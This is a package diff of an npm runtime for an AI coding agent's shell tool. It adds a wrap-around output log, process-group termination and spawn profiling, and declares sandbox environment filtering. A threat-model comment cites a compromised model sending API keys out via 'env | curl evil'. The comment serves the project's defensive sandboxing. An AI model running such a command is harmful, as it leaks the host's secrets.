@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.10

package/dist/runtime/ring-file.js

@@ -0,0 +1,174 @@
+/**
+ * RingFile — a bounded, wrap-around output sink for a background shell's
+ * stdout/stderr (design §6 "落盘 8MB 环绕覆盖").
+ *
+ * Semantics: the logical stream is unbounded, but only the **last N bytes**
+ * are retained. When the stream exceeds the cap, the oldest bytes are
+ * dropped (`didWrap()` flips true). A dev server's startup banner is
+ * disposable; the recent tail is what the agent/user wants.
+ *
+ * Implementation: an in-memory tail Buffer is authoritative (so `readAll`
+ * and the manager's offset math never touch disk), mirrored to a file so a
+ * user can `tail`/open it with external tools. The disk mirror is
+ * best-effort — if the path is unwritable the in-memory buffer still works
+ * and the manager degrades to memory-only (design §7).
+ *
+ * The on-disk file holds the same retained tail as memory (rewritten on
+ * wrap, appended otherwise). We accept the cost of an occasional full
+ * rewrite on wrap; for line-oriented dev output at the 8MB cap this is rare
+ * and cheap relative to the process's own work.
+ */
+import { openSync, writeSync, readSync, ftruncateSync, closeSync, fsyncSync, fstatSync, existsSync, } from "node:fs";
+export class RingFile {
+    path;
+    capBytes;
+    buf = Buffer.alloc(0);
+    wrapped = false;
+    fd = null;
+    diskOk = true;
+    readonlyMode = false;
+    /** Total bytes ever written to the logical stream (monotonic, NOT capped).
+     *  The retained window is the last `min(total, cap)` of these. Readers track
+     *  an ABSOLUTE position in this stream so incremental reads survive
+     *  wraparound (a window-relative offset would silently skip new data once
+     *  the window starts sliding). */
+    total = 0;
+    constructor(path, capBytes, 
+    /** Read-only: load the EXISTING file's tail into memory and never truncate
+     *  or write. Used to surface a recovered orphan shell's already-captured
+     *  output (the live process owns the .log in another worker). */
+    readonlyExisting = false) {
+        this.path = path;
+        this.capBytes = capBytes;
+        if (readonlyExisting) {
+            this.readonlyMode = true;
+            this.fd = null;
+            try {
+                if (existsSync(path)) {
+                    // Read only the trailing `capBytes`, not the whole file. A reader
+                    // never keeps more than the cap (see write()), so slurping a
+                    // multi-MB .log just to discard all but the tail blocks the worker's
+                    // event loop on startup for nothing (see memory: main sync-fs freeze).
+                    const rfd = openSync(path, "r");
+                    try {
+                        const size = fstatSync(rfd).size;
+                        const toRead = Math.min(size, capBytes);
+                        const start = size - toRead;
+                        const data = Buffer.alloc(toRead);
+                        if (toRead > 0)
+                            readSync(rfd, data, 0, toRead, start);
+                        this.buf = data;
+                        this.total = size; // logical stream length stays the full file size
+                        this.wrapped = size > capBytes;
+                    }
+                    finally {
+                        closeSync(rfd);
+                    }
+                }
+            }
+            catch {
+                /* best effort — empty buf on read failure */
+            }
+            return;
+        }
+        try {
+            // 'w' — truncate/create. One file per shell, owned by this RingFile.
+            this.fd = openSync(path, "w");
+        }
+        catch {
+            this.diskOk = false;
+            this.fd = null;
+        }
+    }
+    /** True if the disk mirror is usable (false → memory-only degraded mode). */
+    diskAvailable() {
+        return this.diskOk;
+    }
+    write(chunk) {
+        this.total += chunk.length;
+        const combined = this.buf.length
+            ? Buffer.concat([this.buf, chunk])
+            : chunk;
+        if (combined.length <= this.capBytes) {
+            this.buf = combined;
+            this.appendToDisk(chunk);
+            return;
+        }
+        // Over cap: keep only the trailing capBytes.
+        this.wrapped = true;
+        this.buf = combined.subarray(combined.length - this.capBytes);
+        this.rewriteDisk();
+    }
+    /** Whether any bytes have been discarded by wraparound. */
+    didWrap() {
+        return this.wrapped;
+    }
+    /** The retained tail, decoded as UTF-8. */
+    readAll() {
+        return this.buf.toString("utf8");
+    }
+    /** Current retained byte length (for the agent read offset math). */
+    byteLength() {
+        return this.buf.length;
+    }
+    /** Bytes from `offset` (within the retained window) to the end. */
+    sliceFrom(offset) {
+        const start = Math.max(0, Math.min(offset, this.buf.length));
+        return this.buf.subarray(start);
+    }
+    /** Total bytes ever written to the logical stream (monotonic). Readers use
+     *  this as their next cursor after a read. */
+    totalWritten() {
+        return this.total;
+    }
+    /**
+     * Bytes from an ABSOLUTE stream position to the current end. `absOffset` is
+     * a value previously returned by {@link totalWritten}. If it points before
+     * the retained window (the bytes were discarded by wraparound), returns the
+     * whole window. If it's at/after the end, returns empty.
+     */
+    sliceFromAbsolute(absOffset) {
+        const windowStartAbs = this.total - this.buf.length; // abs position of buf[0]
+        const rel = absOffset - windowStartAbs;
+        const start = Math.max(0, Math.min(rel, this.buf.length));
+        return this.buf.subarray(start);
+    }
+    close() {
+        if (this.fd !== null) {
+            try {
+                fsyncSync(this.fd);
+            }
+            catch {
+                /* best-effort */
+            }
+            try {
+                closeSync(this.fd);
+            }
+            catch {
+                /* best-effort */
+            }
+            this.fd = null;
+        }
+    }
+    appendToDisk(chunk) {
+        if (this.fd === null)
+            return;
+        try {
+            writeSync(this.fd, chunk);
+        }
+        catch {
+            this.diskOk = false;
+        }
+    }
+    rewriteDisk() {
+        if (this.fd === null)
+            return;
+        try {
+            ftruncateSync(this.fd, 0);
+            writeSync(this.fd, this.buf, 0, this.buf.length, 0);
+        }
+        catch {
+            this.diskOk = false;
+        }
+    }
+}

package/dist/runtime/safe-spawn.js

@@ -35,6 +35,7 @@
  */
 import { spawn } from "node:child_process";
 import { StringDecoder } from "node:string_decoder";
+import { resolveSpawnTarget, defaultShellBinary, killChildTree, killProcessGroup } from "./spawn-common.js";
 export const DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;
 export const DEFAULT_IO_DRAIN_GRACE_MS = 100;
 const TIMEOUT_SIGKILL_GRACE_MS = 2000;
@@ -49,6 +50,7 @@ export function safeSpawn(file, args, opts) {
         args,
         opts,
         cleanup: undefined,
+        resolveMs: undefined,
     });
 }
 /**
@@ -59,25 +61,34 @@ export function safeSpawn(file, args, opts) {
  * abort, timeout, pre-spawn-abort. Used by the Bash tool.
  */
 export function safeSpawnShell(command, opts) {
-    const shell = opts.shell ?? "/bin/bash";
-    let file;
-    let args;
-    let cleanup;
-    if (opts.sandbox) {
-        const wrapped = opts.sandbox.wrap(command, { cwd: opts.cwd, shell });
-        file = wrapped.file;
-        args = wrapped.args;
-        cleanup = wrapped.cleanup;
-    }
-    else {
-        file = shell;
-        args = ["-c", command];
-    }
-    return runLifecycle({ file, args, opts, cleanup });
+    const resolveStartedAt = spawnProfileEnabled() ? performance.now() : 0;
+    // Don't hardcode a POSIX default here — resolveSpawnTarget →
+    // resolveShellInvocation picks the platform shell (cmd.exe on Windows,
+    // $SHELL/bin/bash on POSIX) when opts.shell is omitted.
+    const shell = opts.shell ?? defaultShellBinary();
+    const { file, args, cleanup } = resolveSpawnTarget(command, {
+        cwd: opts.cwd,
+        shell,
+        sandbox: opts.sandbox,
+    });
+    // Shell commands run free-form LLM strings that routinely background
+    // grandchildren (`pytest &`, `sh → npm → node`). Spawn as a process-group
+    // leader (detached) so a timeout/abort kill reaches the WHOLE subtree, not
+    // just the direct shell — otherwise an orphaned grandchild keeps the
+    // inherited stdout pipe open and Node's `close` never fires (the hang).
+    return runLifecycle({
+        file,
+        args,
+        opts,
+        cleanup,
+        resolveMs: elapsedMs(resolveStartedAt),
+        detached: true,
+    });
 }
-function runLifecycle({ file, args, opts, cleanup }) {
+function runLifecycle({ file, args, opts, cleanup, resolveMs, detached }) {
     const maxBytes = opts.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES;
     const abortGrace = opts.ioDrainGraceMs ?? DEFAULT_IO_DRAIN_GRACE_MS;
+    const lifecycleStartedAt = spawnProfileEnabled() ? performance.now() : 0;
     // Pre-spawn abort: don't pay spawn cost.
     if (opts.signal?.aborted) {
         safeCleanup(cleanup);
@@ -85,10 +96,20 @@ function runLifecycle({ file, args, opts, cleanup }) {
     }
     return new Promise((resolve) => {
         let settled = false;
+        // Declared before finish() so the spawn-failed early-return (which calls
+        // finish before these are assigned) doesn't hit a TDZ reference.
+        let timer;
+        let settleTimer;
+        let onAbort;
         const finish = (result) => {
             if (settled)
                 return;
             settled = true;
+            if (timer)
+                clearTimeout(timer);
+            if (settleTimer)
+                clearTimeout(settleTimer);
+            logSpawnProfile(file, args, resolveMs, elapsedMs(lifecycleStartedAt), result.reason);
             // Always release backend-allocated resources, regardless of exit path.
             // cleanup is best-effort — see seatbelt backend for rationale.
             safeCleanup(cleanup);
@@ -101,7 +122,7 @@ function runLifecycle({ file, args, opts, cleanup }) {
         };
         let child;
         try {
-            child = spawn(file, args, { cwd: opts.cwd, env: opts.env });
+            child = spawn(file, args, { cwd: opts.cwd, env: opts.env, detached });
         }
         catch (err) {
             finish(emptyResult({ reason: "spawn_failed", spawnFailed: true, error: err.message }));
@@ -115,36 +136,63 @@ function runLifecycle({ file, args, opts, cleanup }) {
         let stderrTruncated = false;
         let timedOut = false;
         let aborted = false;
-        const timer = setTimeout(() => {
-            timedOut = true;
-            try {
-                child.kill("SIGTERM");
+        let lastExitCode = null;
+        let lastExitSignal = null;
+        // Terminate the child on timeout/abort. When detached (shell mode) the
+        // child leads its own process group, so kill the WHOLE group — this reaps
+        // backgrounded grandchildren (`pytest &`, `sh → npm → node`) that a bare
+        // child.kill() would orphan. After the kill, arm a settle deadline:
+        // Node's `close` waits for every inherited stdio pipe to close, and an
+        // orphaned grandchild can hold stdout open forever, so `close` may never
+        // fire. Force a resolve via the last-seen `exit` code once the kill grace
+        // has elapsed — the promise must never hang past terminate().
+        const terminate = (graceMs) => {
+            if (detached && typeof child.pid === "number") {
+                void killProcessGroup(child.pid, { graceMs });
             }
-            catch { /* may already be dead */ }
-            setTimeout(() => {
-                try {
-                    child.kill("SIGKILL");
-                }
-                catch { /* ignore */ }
-            }, TIMEOUT_SIGKILL_GRACE_MS).unref();
+            else {
+                killChildTree(child, graceMs);
+            }
+            if (settleTimer)
+                return;
+            settleTimer = setTimeout(() => {
+                finishFromExit();
+            }, graceMs + 500);
+            settleTimer.unref?.();
+        };
+        timer = setTimeout(() => {
+            timedOut = true;
+            terminate(TIMEOUT_SIGKILL_GRACE_MS);
         }, opts.timeoutMs);
-        let onAbort;
         if (opts.signal) {
             onAbort = () => {
                 aborted = true;
-                try {
-                    child.kill("SIGTERM");
-                }
-                catch { /* may already be dead */ }
-                setTimeout(() => {
-                    try {
-                        child.kill("SIGKILL");
-                    }
-                    catch { /* ignore */ }
-                }, abortGrace).unref();
+                terminate(abortGrace);
             };
             opts.signal.addEventListener("abort", onAbort, { once: true });
         }
+        // Fallback finish when `close` never arrives because a killed process's
+        // orphaned grandchild still holds a stdio pipe. Uses whatever `exit` code
+        // we saw (exit fires when the direct child dies, independent of stdio).
+        const finishFromExit = () => {
+            const reason = timedOut ? "timeout" : aborted ? "aborted" : "ok";
+            finish({
+                reason,
+                stdout,
+                stderr,
+                exitCode: lastExitCode,
+                signal: lastExitSignal,
+                stdoutTruncated,
+                stderrTruncated,
+                timedOut,
+                aborted,
+                spawnFailed: false,
+            });
+        };
+        child.on("exit", (code, sig) => {
+            lastExitCode = code;
+            lastExitSignal = sig;
+        });
         child.stdout?.on("data", (chunk) => {
             if (stdoutTruncated)
                 return;
@@ -240,6 +288,17 @@ function runLifecycle({ file, args, opts, cleanup }) {
         });
     });
 }
+function spawnProfileEnabled() {
+    return process.env.CODESHELL_SPAWN_PROFILE === "1";
+}
+function elapsedMs(startedAt) {
+    return startedAt > 0 ? Math.round(performance.now() - startedAt) : undefined;
+}
+function logSpawnProfile(file, args, resolveMs, lifecycleMs, reason) {
+    if (!spawnProfileEnabled())
+        return;
+    console.error(`[spawn-profile] shell=${JSON.stringify(file)} flag=${JSON.stringify(args[0] ?? "")} resolveMs=${resolveMs ?? "n/a"} lifecycleMs=${lifecycleMs ?? "n/a"} reason=${reason}`);
+}
 function safeCleanup(cleanup) {
     if (!cleanup)
         return;

package/dist/runtime/spawn-common.d.ts

@@ -0,0 +1,159 @@
+/**
+ * spawn-common — shared subprocess primitives for foreground (safeSpawnShell)
+ * and background (BackgroundShellManager) shell execution.
+ *
+ * Both paths must agree on three things or their security/behavior drifts:
+ *
+ *   1. How a free-form shell command is turned into an actual (file, args)
+ *      under the active sandbox backend ({@link resolveSpawnTarget}).
+ *   2. Which environment variables are forwarded into a sandboxed shell
+ *      ({@link buildSandboxEnv} + {@link ENV_DENY_REGEX}) — the Bash threat
+ *      model (a tainted model exfiltrating `OPENROUTER_API_KEY` via
+ *      `env | curl evil`).
+ *   3. How a process is terminated — SIGTERM → grace → SIGKILL. The
+ *      background path needs this at *process-group* granularity
+ *      ({@link killProcessGroup}) because `npm run dev` is really
+ *      `sh → npm → node vite` and killing only the outer `sh` leaks the
+ *      vite child that holds the port (design §难点2).
+ *
+ * safeSpawnShell keeps its own single-process kill cascade (it does not
+ * spawn detached, so there's no separate process group to reap); it shares
+ * (1) and (2) here. The background manager uses all three.
+ */
+import type { SandboxBackend } from "../tool-system/sandbox/index.js";
+/**
+ * Env vars that are always safe to forward into a sandboxed shell. Mirrors
+ * the allowlist that previously lived in bash.ts — kept here so foreground
+ * and background shells share one source of truth. The `off` backend keeps
+ * the historical full-passthrough behavior (the user opted out of sandboxing)
+ * and does NOT call this.
+ */
+export declare const ENV_ALLOWLIST: ReadonlySet<string>;
+/**
+ * Names matching these patterns are dropped even if they appear in the
+ * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
+ * leak just because it starts with `PATH`). Case-insensitive on the full name.
+ */
+export declare const ENV_DENY_REGEX: RegExp;
+/**
+ * Build a hardened env for a sandboxed shell: allowlist ∖ deny-regex.
+ * `source` defaults to `process.env` so callers usually omit it; tests pass
+ * a fixed object.
+ */
+export declare function buildSandboxEnv(source?: NodeJS.ProcessEnv): NodeJS.ProcessEnv;
+/**
+ * Layer a project's `localEnvironment.env` (KEY=VALUE pairs the user
+ * explicitly configured in `.code-shell/settings.json`) on top of a base
+ * shell env.
+ *
+ * Unlike {@link buildSandboxEnv}, project env values are NOT filtered through
+ * the deny regex: the user put them there deliberately (e.g. `DATABASE_URL`,
+ * a project-scoped `API_BASE`), so honoring them is the whole point. The
+ * allowlist/deny machinery exists to stop a tainted model from exfiltrating
+ * the *host's* secrets via `env | curl`; values the user typed into project
+ * settings are a different trust class.
+ *
+ * Returns the base unchanged when `projectEnv` is empty/undefined, so the
+ * caller can pass it through unconditionally with zero behavior change for
+ * projects that don't configure one. `undefined` values in `projectEnv` are
+ * skipped (they'd otherwise stringify to "undefined").
+ */
+export declare function mergeShellEnv(base: NodeJS.ProcessEnv, projectEnv: Record<string, string> | undefined): NodeJS.ProcessEnv;
+export interface SpawnTarget {
+    file: string;
+    args: string[];
+    /** Backend-allocated resource cleanup (e.g. seatbelt temp profile). */
+    cleanup?: () => void;
+}
+/**
+ * Resolve the shell binary + the (file, args) needed to run a free-form
+ * `command` string through it, per platform. Centralizes the POSIX-vs-Windows
+ * shell fork that was previously hardcoded as `/bin/bash` + `["-c", command]`
+ * in five places (bash.ts, safe-spawn.ts, background-shell.ts, worktree.ts):
+ *
+ *   - POSIX: `<explicit ?? $SHELL ?? /bin/bash> -c "<command>"`
+ *   - Windows: `<explicit shell ?? Git Bash ?? PowerShell ?? ComSpec ?? cmd.exe>` with the
+ *     shell-appropriate flag: Git Bash/POSIX shells use `-c`, PowerShell uses
+ *     `-Command`, and cmd.exe uses `/c` (`-c` would be taken as a filename and
+ *     fail/hang). Git Bash is preferred because the Bash tool receives POSIX
+ *     syntax from the model.
+ *
+ * `$SHELL` is ignored on Windows — it is virtually never set there, and when
+ * it is (e.g. a stray value from a Unix-y env) it points at a POSIX path that
+ * doesn't exist on the host. An explicit `shell` overrides everything (a user
+ * who configured `pwsh`/`bash` knows what they want).
+ */
+export declare function resolveShellInvocation(command: string, shell?: string): {
+    file: string;
+    args: string[];
+};
+export declare function resolveGitBash(): string | undefined;
+/** Reset the Git Bash probe cache. Test-only (platform is stubbed per test). */
+export declare function _resetGitBashCache(): void;
+export declare function resolvePowerShell(): string | undefined;
+/** Reset the PowerShell probe cache. Test-only (platform is stubbed per test). */
+export declare function _resetPowerShellCache(): void;
+/** The platform's default interactive shell binary, for spawning a bare shell
+ *  (no `-c`/`/c` command). Windows → Git Bash if present, else PowerShell,
+ *  else ComSpec/cmd.exe;
+ *  POSIX → $SHELL/bin/bash. Windows prefers Git Bash so the model's bash-syntax
+ *  commands actually run (cmd.exe can't). */
+export declare function defaultShellBinary(shell?: string): string;
+/**
+ * Resolve the actual (file, args) for a shell `command` under an optional
+ * sandbox. With a sandbox, the backend decides (e.g. seatbelt →
+ * `sandbox-exec -f profile shell -c command`). Without one, plain
+ * `shell -c command`. This is exactly safeSpawnShell's pre-spawn logic,
+ * lifted so the background path produces an identical target.
+ */
+export declare function resolveSpawnTarget(command: string, opts: {
+    cwd: string;
+    shell: string;
+    sandbox?: SandboxBackend;
+}): SpawnTarget;
+/**
+ * Terminate a single (non-detached) foreground child + its tree.
+ *
+ *  - POSIX: SIGTERM, then SIGKILL after `graceMs` if it ignored the term.
+ *    (The child is the process-group leader of its own subtree only if it was
+ *    spawned with its own group; safe-spawn's foreground children are not, so
+ *    this kills the direct child — matching the historical behavior.)
+ *  - Windows: `child.kill("SIGTERM")` is a no-op and only kills the direct
+ *    child anyway, leaving grandchildren (e.g. `npm test → node`). Use
+ *    `taskkill /T /F` on the pid to reap the whole tree. No graceful phase.
+ *
+ * Best-effort: never throws; a child that already exited is fine.
+ */
+export declare function killChildTree(child: {
+    pid?: number;
+    kill: (sig?: NodeJS.Signals) => boolean;
+}, graceMs: number): void;
+/**
+ * Terminate an entire process group, SIGTERM → grace → SIGKILL.
+ *
+ * Targets the group by negating the leader pid (`process.kill(-pgid, sig)`),
+ * which requires the leader to have been spawned `detached: true` so its pid
+ * is its own pgid. This is the background path's answer to design §难点2:
+ * `npm run dev`'s real tree (`sh → npm → node vite`) all share the group, so
+ * one group-level signal reaps the vite child that actually holds the port.
+ *
+ * Resolves once the group is confirmed gone (or the grace SIGKILL has been
+ * sent). Idempotent: a group that's already dead (ESRCH) resolves immediately
+ * without throwing.
+ *
+ * @param pgid  The process-group id == the detached leader's pid.
+ */
+export declare function killProcessGroup(pgid: number, opts?: {
+    graceMs?: number;
+}): Promise<void>;
+/**
+ * True if any process in the group `pgid` is still alive. Signal 0 performs
+ * existence/permission checks without delivering a signal; ESRCH means the
+ * whole group is gone.
+ *
+ * Windows has no process groups: probe the leader pid directly (positive,
+ * Node supports signal 0 on Windows for an existence check). Children may
+ * outlive the leader, but `taskkill /T` already reaps the tree, so a
+ * leader-alive probe is the right gate for the win32 kill path.
+ */
+export declare function groupAlive(pgid: number): boolean;